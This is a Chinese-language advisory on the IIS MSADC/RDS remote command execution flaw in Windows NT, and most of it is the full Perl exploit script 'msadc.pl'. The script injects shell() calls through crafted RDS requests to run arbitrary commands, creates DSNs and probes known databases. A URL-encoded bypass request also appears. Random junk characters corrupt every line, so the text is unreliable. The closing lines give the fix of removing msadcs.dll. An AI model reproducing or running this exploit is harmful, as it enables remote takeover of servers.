IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
^49moC- FPMk& 涉及程序:
?t"PawBWE Microsoft NT server
3HiW1*5W lt]U?VZ 描述:
QRjt.Ry| 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
t2gjhn^p e8# 3Y+Tc 详细:
>fdN`W}M 如果你没有时间读详细内容的话,就删除:
O*PHo_&G c:\Program Files\Common Files\System\Msadc\msadcs.dll
)
jvkwC 有关的安全问题就没有了。
RAxz+1JT &sWyh[`P 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
kr/h^e loB/w{r*x 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
WI9.?(5q 关于利用ODBC远程漏洞的描述,请参看:
7l p VK] u rOG Oa$ http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm .G]# _U gdT_kb5HL8 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
vP2QAGk< http://www.microsoft.com/security/bulletins/MS99-025faq.asp R}VL UL$ I6fpXPP). 这里不再论述。
-a[{cu{ >tzXbmFp; 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
LNb![Rq 4tU~ ^z /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
Y[DKj!v 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
,+RO 5n 1L|(:m+ ? `KOW #将下面这段保存为txt文件,然后: "perl -x 文件名"
w;(gi S#9SAX [ #!perl
[:'n+D=T3M #
C"{on% # MSADC/RDS 'usage' (aka exploit) script
(D{}1sZBQ #
#.)>geLC>9 # by rain.forest.puppy
l.juys8s #
85
hYYB0v # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
jJvNN -^ # beta test and find errors!
Y Pc< SDwSlwf use Socket; use Getopt::Std;
bij?q\ getopts("e:vd:h:XR", \%args);
s*f.` A*) 12a #]E print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
(`u!/
R'/wOE2 if (!defined $args{h} && !defined $args{R}) {
%},gE[N!J print qq~
o;mIu#u Usage: msadc.pl -h <host> { -d <delay> -X -v }
o0L#39`'g -h <host> = host you want to scan (ip or domain)
A] 9JbNV -d <seconds> = delay between calls, default 1 second
:c t+.# -X = dump Index Server path table, if available
j1<1D@UO -v = verbose
{p
0'Lc<3n -e = external dictionary file for step 5
B>ZPn6?y A&F4;>dms Or a -R will resume a command session
Y
zS*p~| D3{lyi|8 ~; exit;}
Yn>zR I <^Tj}5)n $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
m #QI*R
XP if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
0 l@P]_qq` if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
l,FoK76G if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
s>\g03= $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
6~ `bAe`} if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
+df?N
e 63|Z[8 if (!defined $args{R}){ $ret = &has_msadc;
hhGpB$A die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
%b;+/s2W j!\0Fyr print "Please type the NT commandline you want to run (cmd /c assumed):\n"
u2]g1XjeG . "cmd /c ";
#:|?t&On $in=<STDIN>; chomp $in;
JZzf,G: $command="cmd /c " . $in ;
hH}/v0_ jb e9_+$Oo if (defined $args{R}) {&load; exit;}
6sl<Z=E# VWy:U#;+8 print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
lg>AWTW[ &try_btcustmr;
j*4S] ! `uA&w}(G print "\nStep 2: Trying to make our own DSN...";
Nh9!lB m*] &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
]ECZU e0HP~&BRs print "\nStep 3: Trying known DSNs...";
%}XMhWn{ &known_dsn;
!^fR8Tp9 sVd_O[ print "\nStep 4: Trying known .mdbs...";
z|*6fFE &known_mdb;
L0b]^_tI }27Vh0v if (defined $args{e}){
Vor9
?F&w print "\nStep 5: Trying dictionary of DSN names...";
"NH+qQhs &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
7RE6y(V1 B:4qW[U# print "Sorry Charley...maybe next time?\n";
~^~RltY exit;
tq[",&K \)ZX4rs{8 ##############################################################################
t[,T}BCy. ddDJXk)!0 sub sendraw { # ripped and modded from whisker
Y&f[2+?2NK sleep($delay); # it's a DoS on the server! At least on mine...
&6=ZT:.6Te my ($pstr)=@_;
Os 2YZ<t socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
\BaN5+B6 die("Socket problems\n");
',`4 U F if(connect(S,pack "SnA4x8",2,80,$target)){
&W+G{W{3 select(S); $|=1;
G!Oq>7 print $pstr; my @in=<S>;
hX| UE select(STDOUT); close(S);
V)QR!4De return @in;
|~LjH |*M } else { die("Can't connect...\n"); }}
BC{J3<0bf@ 5qQ(V)ah ##############################################################################
\Ntdl:fSw }|"*"kxi! sub make_header { # make the HTTP request
)^S^s>3 my $msadc=<<EOT
b[o"Uq@8? POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
50bP&dj& User-Agent: ACTIVEDATA
|uwteG5?$s Host: $ip
TL{pc=eBo Content-Length: $clen
.N5R?fmD Connection: Keep-Alive
rbun5&RCyW >m6,xxTR ADCClientVersion:01.06
yn":!4U1 Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
SA
4je9H% 2mU-LQ1WN --!ADM!ROX!YOUR!WORLD!
zGd*Q5l Content-Type: application/x-varg
,
gr&s+ Content-Length: $reqlen
GVc[p\h( mRnzP[7-\) EOT
ae#HA[\0G ; $msadc=~s/\n/\r\n/g;
Qn)[1v return $msadc;}
1fhK{9# \BcJDdL ##############################################################################
]AA*f_! 2a(yR># sub make_req { # make the RDS request
Ldj^O9p( my ($switch, $p1, $p2)=@_;
Xa%&.&V my $req=""; my $t1, $t2, $query, $dsn;
$_7d! S" 9g5{3N3 if ($switch==1){ # this is the btcustmr.mdb query
%%,hR'+| $query="Select * from Customers where City=" . make_shell();
'`~(Fkj $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
`{Di* $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
p9}c6{Wp |XA aKZA elsif ($switch==2){ # this is general make table query
t2%@py*bU $query="create table AZZ (B int, C varchar(10))";
GlgORy=> $dsn="$p1";}
]#-/i2-K i2}=/ elsif ($switch==3){ # this is general exploit table query
5A]LNA4i $query="select * from AZZ where C=" . make_shell();
`MYK XBM $dsn="$p1";}
`Y({#U HD8"=7zJk elsif ($switch==4){ # attempt to hork file info from index server
grfdvN $query="select path from scope()";
KYmWfM3^ $dsn="Provider=MSIDXS;";}
M|E2&ht 19w,'}CGk elsif ($switch==5){ # bad query
&B7+>Ix, $query="select";
A"<)(M+kG $dsn="$p1";}
Iam-'S5 ny_ kr`$42 $t1= make_unicode($query);
{p*hN i)0 $t2= make_unicode($dsn);
nK%/tdq $req = "\x02\x00\x03\x00";
n.Eoi4jV' $req.= "\x08\x00" . pack ("S1", length($t1));
vb. Y8[ $req.= "\x00\x00" . $t1 ;
CbH T # $req.= "\x08\x00" . pack ("S1", length($t2));
i_'R"ob{S $req.= "\x00\x00" . $t2 ;
"tz0ko,( $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
p5# P
r return $req;}
]^6y NtLK ~)m t &
##############################################################################
G5nj,$F+ NZ+?Ydr8k sub make_shell { # this makes the shell() statement
'oHOFH9:{b return "'|shell(\"$command\")|'";}
bR8
HGH28 z2nUul(2 ##############################################################################
;'Vipj CMxjX sub make_unicode { # quick little function to convert to unicode
qfP"UAc{/ my ($in)=@_; my $out;
.";tnC!e for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
E
^SM` return $out;}
xX&>5 " ,ORG"]_F ##############################################################################
zr; Y1Xt4 rb}wv16? sub rdo_success { # checks for RDO return success (this is kludge)
23\j1? my (@in) = @_; my $base=content_start(@in);
77&^$JpM if($in[$base]=~/multipart\/mixed/){
NtA|#"^ return 1 if( $in[$base+10]=~/^\x09\x00/ );}
ZG\ I1 return 0;}
Z>w^j.( vrm{Ql& ##############################################################################
.1z$ A J.e8UQ@=5 sub make_dsn { # this makes a DSN for us
M\?uDC9 my @drives=("c","d","e","f");
b6WC@j`*T print "\nMaking DSN: ";
6|9g4@Hy foreach $drive (@drives) {
?<yq 2`\4O print "$drive: ";
peTO-x^a- my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
n"<GJ.{ "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
jQ_|z@OV . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
5nxS+`Pn.) $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
N9JgV,` return 0 if $2 eq "404"; # not found/doesn't exist
Xx y
Bg!R if($2 eq "200") {
& L.PU@ foreach $line (@results) {
_^xh1=Qr}n return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
|p8"9jN@}c } return 0;}
kTiPZZI
uRB)g ##############################################################################
ej"o?1l@ 8F`BJ6=' sub verify_exists {
\{MrQ2jd my ($page)=@_;
v-7Rb)EP my @results=sendraw("GET $page HTTP/1.0\n\n");
rz[uuY7 return $results[0];}
EDgob^> 8W1K3[Jj< ##############################################################################
5fj bDh:!M sub try_btcustmr {
]lB3qEn< my @drives=("c","d","e","f");
8%2rgA my @dirs=("winnt","winnt35","winnt351","win","windows");
WDoKbTv -M>K4*%K foreach $dir (@dirs) {
SP
D207 print "$dir -> "; # fun status so you can see progress
9HJ'p:{) foreach $drive (@drives) {
&8X
.!r`f print "$drive: "; # ditto
GEe 0@q#YA $reqlen=length( make_req(1,$drive,$dir) ) - 28;
m_E[bDON $reqlenlen=length( "$reqlen" );
,3J`ftCV $clen= 206 + $reqlenlen + $reqlen;
R!_8jD:$ 0x>/ 6 << my @results=sendraw(make_header() . make_req(1,$drive,$dir));
L&DF,fWsF& if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
#E$Z[G] else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
_']%qd"% 35%[DUkb ##############################################################################
I", &%0ycm [ n0##/ sub odbc_error {
_@BRpLs:4 my (@in)=@_; my $base;
{#w A!>. my $base = content_start(@in);
6m-:F.k1( if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
q2S!m6 ! $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
kY'<u $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
Ha=_u+@ $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
j5,^9' return $in[$base+4].$in[$base+5].$in[$base+6];}
dK J@{d print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
t> x-1vf% print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
=$)4: $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
6=G~6Qu 5M<'A= ##############################################################################
^8';8+$ l}Q"Nb) sub verbose {
mX<Fuu}E*Z my ($in)=@_;
AK@`'$ return if !$verbose;
m{bZRkt print STDOUT "\n$in\n";}
n2xLgK= Ss#@=:"P ##############################################################################
|P,zGy (
K6~Tj
sub save {
`x{.z=xC my ($p1, $p2, $p3, $p4)=@_;
Sc4obcw% open(OUT, ">rds.save") || print "Problem saving parameters...\n";
N"Qg\PS_ print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
tT@w%Sz57N close OUT;}
MG7 ?N # "wnpiB} ##############################################################################
}pl]9 T}L^CU0 sub load {
@pF
fpHq?> my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
5|<yfk8*J open(IN,"<rds.save") || die("Couldn't open rds.save\n");
eKZ@FEZ @p=<IN>; close(IN);
E[|s>Xv~ $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
%]a
@A8o0 $target= inet_aton($ip) || die("inet_aton problems");
k#axt
Sc print "Resuming to $ip ...";
nabBU4;h $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
99l>CYXd if($p[1]==1) {
v"P&`1=T $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
Pl rkgS0J $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
F`Dg*O my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
K0EY<Ltq if (rdo_success(@results)){print "Success!\n";}
]6$,IKE7 else { print "failed\n"; verbose(odbc_error(@results));}}
|^7f\.oF elsif ($p[1]==3){
f7XQ~b if(run_query("$p[3]")){
gk!E$NyE print "Success!\n";} else { print "failed\n"; }}
Jv_.itc elsif ($p[1]==4){
prNhn:j if(run_query($drvst . "$p[3]")){
IVI~1~ print "Success!\n"; } else { print "failed\n"; }}
eu#,WwlG exit;}
FAQr~G} sU) TXL'_! ##############################################################################
s<[A0=LH ,O:EX0 sub create_table {
:a_BD my ($in)=@_;
?z2jk $reqlen=length( make_req(2,$in,"") ) - 28;
K0w<[CO $reqlenlen=length( "$reqlen" );
B.89_!/:p $clen= 206 + $reqlenlen + $reqlen;
V]I:2k5 my @results=sendraw(make_header() . make_req(2,$in,""));
C`\9cej return 1 if rdo_success(@results);
,HFs.9#&B my $temp= odbc_error(@results); verbose($temp);
uh]"(h(> return 1 if $temp=~/Table 'AZZ' already exists/;
k:b/Gq` return 0;}
S~KS9E~\ v,/[&ASz ##############################################################################
yXJ]U
\ % J|VK P7 sub known_dsn {
9T(L"9r-e # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
;B&^yj&; my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
BjJ,"sT "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
c_
La^HS "banner", "banners", "ads", "ADCDemo", "ADCTest");
r55qmPhg z;i4N3-: foreach $dSn (@dsns) {
Fi mN?s print ".";
>_XOc next if (!is_access("DSN=$dSn"));
`NBbTQtgO if(create_table("DSN=$dSn")){
A_!QrM print "$dSn successful\n";
O0^?f/&k if(run_query("DSN=$dSn")){
>T<6fpXuk2 print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
\|CPR6I print "Something's borked. Use verbose next time\n";}}} print "\n";}
10p8|9rE}B 6cJ<9i
& ##############################################################################
`
^DjEdUN rwiw
Rh sub is_access {
%BUEX my ($in)=@_;
_ Yfmxn8V $reqlen=length( make_req(5,$in,"") ) - 28;
QE|`&~sme $reqlenlen=length( "$reqlen" );
H&M1>JtE $clen= 206 + $reqlenlen + $reqlen;
|xn#\epy@ my @results=sendraw(make_header() . make_req(5,$in,""));
G6ayMw]OF my $temp= odbc_error(@results);
9B
/s verbose($temp); return 1 if ($temp=~/Microsoft Access/);
{P-xCmZ~Wt return 0;}
.%q$d d>> v=!YfAn ##############################################################################
tR kF
(a[.vw^g sub run_query {
a 6%@d_A my ($in)=@_;
bW53" `X $reqlen=length( make_req(3,$in,"") ) - 28;
XAe\s` $reqlenlen=length( "$reqlen" );
MDJc[am $clen= 206 + $reqlenlen + $reqlen;
"!O1j
r; my @results=sendraw(make_header() . make_req(3,$in,""));
|^R*4;Phe return 1 if rdo_success(@results);
((XE\V\}Z my $temp= odbc_error(@results); verbose($temp);
"e 1wr return 0;}
*h$&0w
y cJCU*(7& ##############################################################################
k<H%vg>{~s (
#*"c sub known_mdb {
!xu9+{- my @drives=("c","d","e","f","g");
cFK @3a my @dirs=("winnt","winnt35","winnt351","win","windows");
av-#)E my $dir, $drive, $mdb;
h4_b!E@ my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
[)^mBVht GF8 -_X # this is sparse, because I don't know of many
we3tx{j my @sysmdbs=( "\\catroot\\icatalog.mdb",
hq=,Z1J "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
# ly@;!M "\\system32\\certmdb.mdb",
zJ+3g! "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
mzWP8Hlw l
_+6=u my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
N2BI_,hI1 "\\cfusion\\cfapps\\forums\\forums_.mdb",
Z|G/^DK! "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
Us,)]W.S "\\cfusion\\cfapps\\security\\realm_.mdb",
t2-
^-g6 "\\cfusion\\cfapps\\security\\data\\realm.mdb",
FZF @ "\\cfusion\\database\\cfexamples.mdb",
[#Y' dFQ "\\cfusion\\database\\cfsnippets.mdb",
RT^v:paNT2 "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
^"9*
'vTtc "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
Rf)ke(" "\\cfusion\\brighttiger\\database\\cleam.mdb",
?7
\\e ;j} "\\cfusion\\database\\smpolicy.mdb",
R_^/,^1 "\\cfusion\\database\cypress.mdb",
0"78/6XIs "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
_T5)n=| "\\website\\cgi-win\\dbsample.mdb",
B/G-Yh$E "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
5u r)uz]w8 "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
rAb&I"\ZY ); #these are just
b7HffO O foreach $drive (@drives) {
d H?
ScXM= foreach $dir (@dirs){
.Pe9_ZH$W foreach $mdb (@sysmdbs) {
ZtK\HDdp print ".";
Gh}yb-$N`& if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
o:"anHs print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
9xFO]Y" if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
Pao%pA.< print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
KVkMU?6 } else { print "Something's borked. Use verbose next time\n"; }}}}}
$d/&k` (&[[46 foreach $drive (@drives) {
+ H_MV=A^ foreach $mdb (@mdbs) {
)55\4<ty print ".";
bUZ_UW if(create_table($drv . $drive . $dir . $mdb)){
pu+ur=5& print "\n" . $drive . $dir . $mdb . " successful\n";
i%-Ld
Ka}" if(run_query($drv . $drive . $dir . $mdb)){
Tde0 ~j} print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
!lTda<;] } else { print "Something's borked. Use verbose next time\n"; }}}}
('C7=u&F }
eS'yGY0b fKHE;A*>% ##############################################################################
GaekFbW) t9^A(Vh"- sub hork_idx {
uLQ print "\nAttempting to dump Index Server tables...\n";
"B{ECM; print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
0:=ZkEEeU $reqlen=length( make_req(4,"","") ) - 28;
Qd
&"BEs $reqlenlen=length( "$reqlen" );
9MY7a=5E~ $clen= 206 + $reqlenlen + $reqlen;
\K
iwUz my @results=sendraw2(make_header() . make_req(4,"",""));
H={&3poBz if (rdo_success(@results)){
;apzAF my $max=@results; my $c; my %d;
2-'Opu for($c=19; $c<$max; $c++){
Wht(O~F $results[$c]=~s/\x00//g;
e5?PkFV^a1 $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
a.@qGsIH $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
4/e60jA $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
WC,+Cn e $d{"$1$2"}="";}
?wb+L foreach $c (keys %d){ print "$c\n"; }
X^@I]. } else {print "Index server doesn't seem to be installed.\n"; }}
17|np2~ pI.+"Hz ##############################################################################
=IU*}># l"(6]Z 4 sub dsn_dict {
e`K)_>^n# open(IN, "<$args{e}") || die("Can't open external dictionary\n");
Zg~nlO2 while(<IN>){
]m4OIst $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
1L nyWZ next if (!is_access("DSN=$dSn"));
dRi5hC$ if(create_table("DSN=$dSn")){
B@y(. print "$dSn successful\n";
<7_KeOLJ if(run_query("DSN=$dSn")){
::5E 8919 print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
!#2=\LUC print "Something's borked. Use verbose next time\n";}}}
?GA&f2]a print "\n"; close(IN);}
ORN6vX(1 "LhvzM-<8 ##############################################################################
"O[j!fG8, *sw7niw sub sendraw2 { # ripped and modded from whisker
O#a6+W"U sleep($delay); # it's a DoS on the server! At least on mine...
(X[CsaXt my ($pstr)=@_;
N K]B? socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
V 9wI\0 die("Socket problems\n");
m#vL*]c} if(connect(S,pack "SnA4x8",2,80,$target)){
\x{;U#B[3> print "Connected. Getting data";
L!Cz'm"Nl open(OUT,">raw.out"); my @in;
!v.9"!' N select(S); $|=1; print $pstr;
#R0A= ! while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
"=. t
36# close(OUT); select(STDOUT); close(S); return @in;
GoM
ip8'u } else { die("Can't connect...\n"); }}
!y:%0{l @|}BXQNd ##############################################################################
+|iYg/2 AK!hK>u` sub content_start { # this will take in the server headers
^Xb7[+I6 my (@in)=@_; my $c;
=&wmWy for ($c=1;$c<500;$c++) {
hU]HTX'R if($in[$c] =~/^\x0d\x0a/){
}[+!$# if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
l v&mp0V+ else { return $c+1; }}}
>'uU)Y{ return -1;} # it should never get here actually
}A=y=+4j 4+$b~u ##############################################################################
#oeG!<Mn F>je4S; sub funky {
|{r$jZeE my (@in)=@_; my $error=odbc_error(@in);
j%u-dr if($error=~/ADO could not find the specified provider/){
Kv'n:z7Md print "\nServer returned an ADO miscofiguration message\nAborting.\n";
WtulTAfN exit;}
[#Lc]$ if($error=~/A Handler is required/){
#1 1NPo9 print "\nServer has custom handler filters (they most likely are patched)\n";
Uxfl_@lJ exit;}
J7D}% if($error=~/specified Handler has denied Access/){
f3j{V N print "\nServer has custom handler filters (they most likely are patched)\n";
GQQ.OvEc exit;}}
9>zcBG8f j$UV/tp5T ##############################################################################
2aw&YZ&Xo #`TgZKDg2 sub has_msadc {
TGXa,A{ my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
B
vo5-P6XY my $base=content_start(@results);
X,aYK;q%z return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
\0l>q , return 0;}
PNF?;*`-{7 SzwQOs* ########################
W7"{r)7 Zv11uH-C Ji1Pz)fq 解决方案:
Ho DVn/lr 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
u]
:m"LM 2、移除web 目录: /msadc